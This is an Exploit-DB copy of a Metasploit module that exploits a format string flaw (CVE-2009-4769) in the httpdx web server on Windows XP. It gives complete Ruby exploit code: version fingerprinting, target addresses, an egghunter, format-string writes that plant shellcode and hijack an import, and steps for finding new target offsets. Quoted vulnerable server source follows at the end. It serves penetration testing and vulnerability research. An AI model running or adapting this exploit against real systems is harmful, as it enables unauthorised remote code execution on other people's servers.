httpdx – ‘tolog()’ Format String (Metasploit) (2)

  • 作者: Metasploit
    日期: 2010-08-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16794/
  • ##
    # $Id: httpdx_tolog_format.rb 10150 2010-08-25 20:55:37Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	include Msf::Exploit::Remote::HttpClient
    	include Msf::Exploit::Egghunter
    	include Msf::Exploit::FormatString
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'HTTPDX tolog() Function Format String Vulnerability',
    			'Description'=> %q{
    					This module exploits a format string vulnerability in HTTPDX HTTP server.
    				By sending an specially crafted HTTP request containing format specifiers, an
    				attacker can corrupt memory and execute arbitrary code.
    
    				By default logging is off for HTTP, but enabled for the 'moderator' user
    				via FTP.
    			},
    			'Author' =>
    				[
    					'jduck'# original discovery and metasploit module
    				],
    			'Version'=> '$Revision: 10150 $',
    			'References' =>
    				[
    					[ 'CVE', '2009-4769' ],
    					[ 'OSVDB', '60182' ]
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'process'
    				},
    			'Privileged' => true,
    			'Payload'=>
    				{
    					# format string max length
    					'Space'=> 1024,
    					'BadChars' => "\x00\x0a\x0d\x25\x2f\x3f\x5c",
    					'DisableNops'	=>'True',
    					'StackAdjustment' 	=> -1500
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					#
    					# Automatic targeting via fingerprinting
    					#
    					[ 'Automatic Targeting', { 'auto' => true }],
    
    					#
    					# specific targets
    					#
    					[	'httpdx 1.4 - Windows XP SP3 English',
    						{
    							'PadBytes' 	=> 2,
    							'NumPops' 	=> 22,
    							'Writable' 	=> 0x64f87810, 	# empty space in core.dll imports
    							'FlowHook'	=> 0x64f870e8		# core.dll import for strlen
    						}
    					],
    					[	'httpdx 1.4.5 - Windows XP SP3 English',
    						{
    							'PadBytes' 	=> 2,
    							'NumPops' 	=> 22,
    							'Writable' 	=> 0x64f87810, 	# empty space in core.dll imports
    							'FlowHook'	=> 0x64f870e8		# core.dll import for strlen
    						}
    					],
    					[	'httpdx 1.4.6 - Windows XP SP3 English',
    						{
    							'PadBytes' 	=> 2,
    							'NumPops' 	=> 22,
    							'Writable' 	=> 0x64f87810, 	# empty space in core.dll imports
    							'FlowHook'	=> 0x64f870e8		# core.dll import for strlen
    						}
    					],
    					[	'httpdx 1.4.6b - Windows XP SP3 English',
    						{
    							'PadBytes' 	=> 2,
    							'NumPops' 	=> 22,
    							'Writable' 	=> 0x64f87810, 	# empty space in core.dll imports
    							'FlowHook'	=> 0x64f870e8		# core.dll import for strlen
    						}
    						],
    					[	'httpdx 1.5 - Windows XP SP3 English',
    						{
    							'PadBytes' 	=> 2,
    							'NumPops' 	=> 22,
    							'Writable' 	=> 0x64f87810, 	# empty space in core.dll imports
    							'FlowHook'	=> 0x64f870e8		# core.dll import for strlen
    						}
    					],
    
    					#
    					# Debugging target
    					#
    					[ 'Debug target',
    						{
    							'PadBytes'=> 2,
    							'NumPops' => 22,
    							'Writable'=> 0xfeedfed5,
    							'FlowHook'=> 0xdeadbeef
    						}
    					]
    				],
    			'DefaultTarget'=> 0,
    			'DisclosureDate' => 'Nov 17 2009'))
    =begin
    
    NOTE: Even though all targets have the same addresses now, future targets may not.
    
    To find a target:
    
    1. open "core.dll" in IDA Pro
    2. navigate to the "c_wildcmp" function
    3. follow the xref to the first strlen
    4. follow the xref to the imports area
    5. copy/paste the address
    6. the 'Writable' value should be anything after the last address IDA shows..
     (preferably something above 0x0d, to avoid bad chars)
    
    If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
    For now, that will have to be done manually.
    
    =end
    	end
    
    
    	def check
    		version = get_version
    		if version
    			print_status("HTTPDX version detected : #{version}")
    			if (version =~ /1\.4/) or (version == "1.5")
    				return Exploit::CheckCode::Vulnerable
    			end
    		end
    		Exploit::CheckCode::Safe
    	end
    
    
    	def exploit
    
    		# an empty host header gives us 512 bytes in the client structure
    		# (the client->filereq and client->host buffers are adjacement in memory)
    		datastore['VHOST'] = ''
    
    		# Use a copy of the target
    		mytarget = target
    
    		if (target['auto'])
    			mytarget = nil
    
    			print_status("Automatically detecting the target...")
    
    			version = get_version
    			if not version
    				raise RuntimeError, "The server doesn't appear to be running a vulnerable version of HTTPDX"
    			end
    
    			re = Regexp.new(Regexp.escape(version)+' - ', true)
    			self.targets.each do |t|
    				if (re.match(t.name))
    					mytarget = t
    					break
    				end
    			end
    
    			if (not mytarget)
    				raise RuntimeError, 'Unable to automatically detect exploitation parameters'
    			end
    
    			print_status("Selected Target: #{mytarget.name}")
    		else
    			print_status("Trying target #{mytarget.name}...")
    		end
    
    		# proceed with chosen target...
    
    		# '<ip> [Tue, 17 Nov 2009 18:22:12 GMT] "<GET/POST> /'
    		ip_length = Rex::Socket.source_address(datastore['RHOST']).length
    		num_start = ip_length + 2 + 29 + 3 + 3 + 2
    
    		# use the egghunter!
    		eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
    
    		# write shellcode to 'writable' (all at once)
    		fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
    		fmtbuf = '/' + fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
    		print_status(" payload format string buffer is #{fmtbuf.length} bytes")
    
    		send_request_raw({ 'uri' => fmtbuf })
    
    		# write 'writable' addr to flowhook (execute shellcode)
    		# NOTE: the resulting two writes must be done at the same time
    		fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)
    		# add payload to the end
    		fmtbuf << eh_egg
    		fmtbuf = '/' + fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
    		print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
    
    		send_request_raw({ 'uri' => fmtbuf })
    		disconnect
    
    		# connect again to trigger shellcode
    		select(nil, nil, nil, 1.5)
    		print_status(" triggering shellcode now")
    		print_status("Please be patient, the egg hunter may take a while...")
    		connect
    
    		handler
    	end
    
    
    	def get_version
    		info = http_fingerprint # Custom version extraction / automatic target
    		if info and (info =~ /httpdx\/(.*) \(Win32\)/)
    			return $1
    		end
    		nil
    	end
    
    end
    
    
    =begin
    
    also present in 1.5 (presumably all versions in between)
    
    1.4/httpdx_src/ftp.cpp:
    
     544//printf(out);
     545char af[MAX] = {0};
     546if(isset(out) && client->serve.log || client->serve.debug)
     547snprintf(af,sizeof(af)-1,"%s\n%s%s\n",client->addr,client->cmd,out);
     548if(isset(out) && client->serve.log)
     549tolog(client->serve.accessl,af);
     550if(isset(out) && client->serve.debug)
     551printf(af);
    
    1.4/httpdx_src/http.cpp:
    
     172char af[MAX] = {0};
     173if(client.serve.log || client.serve.debug)
     174snprintf(af,sizeof(af)-1,"%s [%s] \"%s /%s HTTP/1.1\" %d\n",client.addr,timef,m[client.method-1],client.filereq,response.code);
     175if(client.serve.log)
     176tolog(client.serve.accessl,af);
     177if(client.serve.debug)
     178printf(af);
    
    =end